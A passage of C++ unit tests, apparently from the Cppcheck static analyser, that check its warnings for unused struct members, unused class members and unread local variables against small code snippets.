[unusedStructMember]\\n\"\n \"[test.cpp:4:17]: (style) struct member 'S::str' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:5:7]: (style) struct member 'S::c' is never used. [unusedStructMember]\\n\",\n errout_str());\n\n checkStructMemberUsage(\"struct S {\\n\" // #10848\n \" struct T {\\n\"\n \" int i;\\n\"\n \" } t[2];\\n\"\n \"};\\n\"\n \"S s[1];\\n\"\n \"int f() {\\n\"\n \" return s[0].t[1].i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"struct T { S s; };\\n\"\n \"int f(const T** tp) {\\n\"\n \" return tp[0]->s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S* sp) {\\n\"\n \" return (*sp).a; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S** spp) {\\n\"\n \" return spp[0]->a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S** spp) {\\n\"\n \" return spp[0][0].a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S* sp) {\\n\"\n \" return sp[0].a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a; };\\n\"\n \"int f(const S* sp) {\\n\"\n \" return sp->a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"typedef struct { int i; } A;\\n\"\n \"typedef struct { std::vector v; } B;\\n\"\n \"const A& f(const std::vector& b, int idx) {\\n\"\n \" const A& a = b[0]->v[idx];\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:22]: (style) struct member 'A::i' is never used. [unusedStructMember]\\n\",\n errout_str());\n\n checkStructMemberUsage(\"struct A {\\n\" // #10852\n \" struct B {\\n\"\n \" int x;\\n\"\n \" } b;\\n\"\n \"} a;\\n\"\n \"void f() {\\n\"\n \" struct B* pb = &a.b;\\n\"\n \" pb->x = 1;\\n\"\n \"}\\n\", dinit(CheckStructMemberUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"union U {\\n\"\n \" struct A {\\n\"\n \" struct B {\\n\"\n \" int x;\\n\"\n \" } b;\\n\"\n \" } a;\\n\"\n \" struct C {\\n\"\n \" short s[2];\\n\"\n \" } c;\\n\"\n \"} u;\\n\"\n \"void f() {\\n\"\n \" struct B* pb = &u.a.b;\\n\"\n \" pb->x = 1;\\n\"\n \" struct C* pc = &u.c;\\n\"\n \" pc->s[0] = 1;\\n\"\n \"}\\n\", dinit(CheckStructMemberUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember20() { // #10737\n checkStructMemberUsage(\"void f() {\\n\"\n \" {\\n\"\n \" }\\n\"\n \" {\\n\"\n \" struct S { int a; };\\n\"\n \" S s{};\\n\"\n \" {\\n\"\n \" if (s.a) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember21() { // #4759\n checkStructMemberUsage(\"class C {\\n\"\n \"public:\\n\"\n \" int f() { return 0; }\\n\"\n \"};\\n\"\n \"C c;\\n\"\n \"int g() {\\n\"\n \" return c.f();\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" int f;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:9]: (style) struct member 'S::f' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"struct A { int i; };\\n\"\n \"struct B { struct A* pA; };\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) struct member 'A::i' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:2:22]: (style) struct member 'B::pA' is never used. [unusedStructMember]\\n\",\n errout_str());\n }\n\n void structmember22() { // #11016\n checkStructMemberUsage(\"struct A { bool b; };\\n\"\n \"void f(const std::vector& v) {\\n\"\n \" std::vector::const_iterator it = b.begin();\\n\"\n \" if (it->b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember23() {\n checkStructMemberUsage(\"namespace N {\\n\"\n \" struct S { std::string s; };\\n\"\n \"}\\n\"\n \"std::string f() {\\n\"\n \" std::map m = { { 0, { \\\"abc\\\" } } };\\n\"\n \" return m[0].s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember24() { // #10847\n checkStructMemberUsage(\"struct S { std::map m; };\\n\"\n \"std::map u;\\n\"\n \"std::map::iterator f() {\\n\"\n \" return u.find(0)->second->m.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int i; };\\n\"\n \"void f() {\\n\"\n \" std::map m = { { 0, S() } };\\n\"\n \" m[0].i = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { bool b; };\\n\"\n \"std::vector v;\\n\"\n \"bool f() {\\n\"\n \" return v.begin()->b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"int f(int s) {\\n\" // #10587\n \" const struct S { int a, b; } Map[] = { { 0, 1 }, { 2, 3 } };\\n\"\n \" auto it = std::find_if(std::begin(Map), std::end(Map), [&](const auto& m) { return s == m.a; });\\n\"\n \" if (it != std::end(Map))\\n\"\n \" return it->b;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"int f(int s) {\\n\"\n \" const struct S { int a, b; } Map[] = { { 0, 1 }, { 2, 3 } };\\n\"\n \" for (auto&& m : Map)\\n\"\n \" if (m.a == s)\\n\"\n \" return m.b;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct R { bool b{ false }; };\\n\" // #11539\n \"void f(std::optional r) {\\n\"\n \" if (r.has_value())\\n\"\n \" std::cout << r->b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember25() {\n checkStructMemberUsage(\"struct S {\\n\" // #12485\n \" S* p;\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) struct member 'S::p' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:3:9]: (style) struct member 'S::i' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:6:7]: (style) struct member 'T::s' is never used. [unusedStructMember]\\n\"\n \"[test.cpp:7:9]: (style) struct member 'T::j' is never used. [unusedStructMember]\\n\",\n errout_str());\n }\n\n void structmember26() { // #13345\n checkStructMemberUsage(\"struct foobar {\\n\"\n \" char unused;\\n\"\n \"};\\n\"\n \"size_t offset_unused = offsetof(struct foobar, unused);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember27() { // #13367\n checkStructMemberUsage(\"typedef struct pathNode_s {\\n\"\n \" struct pathNode_s* next;\\n\"\n \"} pathNode_t;\\n\"\n \"void f() {\\n\"\n \" x y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", // don't crash\n errout_str());\n }\n\n void structmember28() {\n checkStructMemberUsage(\"struct S {\\n\"\n \" unsigned int a : 16;\\n\"\n \" unsigned int : 16;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) struct member 'S::a' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void structmember_macro() {\n checkStructMemberUsageP(\"#define S(n) struct n { int a, b, c; };\\n\"\n \"S(unused);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmember_template_argument() { // #13887 - False positive\n checkStructMemberUsage(\"template struct A{ T buf[i]; }\\n\"\n \"struct B {\\n\"\n \" constexpr int x = 20;\\n\" // <- not unused\n \" A a;\\n\" // <- unused\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) struct member 'B::a' is never used. [unusedStructMember]\\n\", errout_str());\n }\n\n void classmember() {\n checkStructMemberUsage(\"class C {\\n\"\n \" int i{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) class member 'C::i' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"class C {\\n\"\n \" int i{}, j{};\\n\"\n \"public:\\n\"\n \" int& get() { return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) class member 'C::j' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"class C {\\n\"\n \"private:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class D : public C {};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) class member 'C::i' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"class C {\\n\"\n \"public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class D : C {};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) class member 'C::i' is never used. [unusedStructMember]\\n\", errout_str());\n\n checkStructMemberUsage(\"class C {\\n\"\n \"public:\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"class D : public C {};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void structmemberStructuredBinding() { // #13107\n checkStructMemberUsage(\"struct S { int a, b; };\\n\"\n \"void f(S &s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" x = y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a, b; };\\n\"\n \"struct T { S s; };\\n\"\n \"void f(T &t) {\\n\"\n \" auto& [x, y] = t.s;\\n\"\n \" x = y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkStructMemberUsage(\"struct S { int a, b; };\\n\"\n \"void f(std::vector &sv) {\\n\"\n \" for (auto& [x, y] : sv)\\n\"\n \" x = y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13551 - don't crash\n checkStructMemberUsage(\"struct S {};\\n\"\n \"void f(vector> p) {\\n\"\n \" for (auto [a, _] : p) {\\n\"\n \" if (a == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar1() {\n // extracttests.disable\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // if a is undefined then Cppcheck can't determine if \"int i(a)\" is a\n // * variable declaration\n // * function declaration\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" int i(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" int & i = j;\\n\"\n \" x(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" const int & i = j;\\n\"\n \" x(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:19]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" int & i(j);\\n\"\n \" x(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int j = 0;\\n\"\n \" const int & i(j);\\n\"\n \" x(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int * j = Data;\\n\"\n \" int * i(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int * j = Data;\\n\"\n \" const int * i(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" bool i = false;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" bool i = true;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:10]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char *i;\\n\"\n \" i = fgets();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // undefined variables are not reported because they may be classes with constructors\n functionVariableUsage(\"undefined foo()\\n\"\n \"{\\n\"\n \" undefined i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (information) --check-library: Provide configuration for undefined [checkLibraryCheckType]\\n\", errout_str());\n\n functionVariableUsage(\"undefined foo()\\n\"\n \"{\\n\"\n \" undefined i = 0;\\n\"\n \"}\\n\",\n dinit(FunctionVariableUsageOptions, $.cpp = false));\n ASSERT_EQUALS(\n \"[test.c:3:17]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.c:3:15]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = undefined;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int * i = Data;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" void * i = Data;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:14]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:12]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" const void * i = Data;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" struct S * i = DATA;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:16]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" const struct S * i = DATA;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:24]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:22]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" struct S & i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" const struct S & i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" undefined * i = X;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:19]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:17]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" int j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:11]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:9]: (style) Variable 'j' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i[10] = { 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo(int n)\\n\"\n \"{\\n\"\n \" int i[n] = { 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char i[10] = \\\"123456789\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char *i = \\\"123456789\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:13]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 0,code=10;\\n\"\n \" for(i = 0; i < 10; i++) {\\n\"\n \" std::cout<f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char * i;\\n\"\n \" if (i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char * i = 0;\\n\"\n \" if (i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char * i = new char[10];\\n\"\n \" if (i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" char *i;\\n\"\n \" f(i);\\n\"\n \"}\");\n\n functionVariableUsage(\"int a;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" return &a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *p = a;\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" p[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int a[10];\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" int *p = &a[0];\\n\"\n \" for (int i = 0; i < 10; i++)\\n\"\n \" p[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" int x;\\n\"\n \" a[0] = 0;\\n\"\n \" x = a[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // extracttests.start: int f();\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a, b, c;\\n\"\n \" a = b = c = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:11]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:15]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"int * foo()\\n\"\n \"{\\n\"\n \" return &undefined[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void localvar9() {\n // ticket #1605\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \" for (int i = 0; i < 10; )\\n\"\n \" a[i++] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) Variable 'a[i++]' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar10() {\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int i;\\n\"\n \" } else {\\n\"\n \" int i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:5:13]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:7:13]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x)\\n\"\n \" int i;\\n\"\n \" else\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:5:13]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:7:13]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3:9]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:5:13]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:7:13]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\", // duplicate\n errout_str());\n\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" if (x) {\\n\"\n \" int i;\\n\"\n \" } else {\\n\"\n \" int i;\\n\"\n \" }\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:7]: (style) Variable 'i' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:5:13]: (style) Unused variable: i [unusedVariable]\\n\"\n \"[test.cpp:7:13]: (style) Unused variable: i [unusedVariable]\\n\", errout_str());\n }\n\n void localvar11() {\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int a = 0;\\n\"\n \" if (x == 1)\\n\"\n \" {\\n\"\n \" a = 123;\\n\" // redundant assignment\n \" return;\\n\"\n \" }\\n\"\n \" x = a;\\n\" // redundant assignment\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:9:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n\n // The variable 'a' is initialized. But the initialized value is\n // never used. It is only initialized for security reasons.\n functionVariableUsage(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int a = 0;\\n\"\n \" if (x == 1)\\n\"\n \" a = 123;\\n\"\n \" else if (x == 2)\\n\"\n \" a = 456;\\n\"\n \" else\\n\"\n \" return;\\n\"\n \" x = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar12() {\n // ticket #1574\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a, b, c, d, e, f;\\n\"\n \" a = b = c = d = e = f = 15;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:11]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:15]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:19]: (style) Variable 'd' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:23]: (style) Variable 'e' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:27]: (style) Variable 'f' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a, b, c = 0;\\n\"\n \" a = b = c;\\n\"\n \"\\n\"\n \"}\");\n\n TODO_ASSERT_EQUALS(\n \"[test.cpp:4:13]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:3]: (style) Variable 'c' is assigned a value that is never used. [unreadVariable]\\n\",\n\n \"[test.cpp:4:7]: (style) Variable 'a' is assigned a value that is never used. [unreadVariable]\\n\"\n \"[test.cpp:4:11]: (style) Variable 'b' is assigned a value that is never used. [unreadVariable]\\n\",\n errout_str());\n }\n\n void localvar13() { // ticket #1640\n // extracttests.start: struct OBJECT { int ySize; };\n functionVariableUsage(\"void foo( OBJECT *obj )\\n\"\n \"{\\n\"\n \" int x;\\n\"\n \" x = obj->ySize / 8;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Variable 'x' is assigned a value that is never used. [unreadVariable]\\n\", errout_str());\n }\n\n void localvar14() {\n // ticket #5\n functionVariableUsage(\"void foo()\\n\"\n \"{\\n\"\n \" int a[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Unused variable: a [unusedVariable]\\n\", errout_str());\n }\n\n void localvar15() {\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" int b[a];\\n\"\n \" b[0] = 0;\\n\"\n \" return b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" int * b[a];\\n\"\n \" b[0] = &c;\\n\"\n \" return *b[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n functionVariableUsage(\"int * foo()\\n\"\n \"{\\n\"\n \" int a = 5;\\n\"\n \" const int * b[a];\\n\"\n \" b[0] = 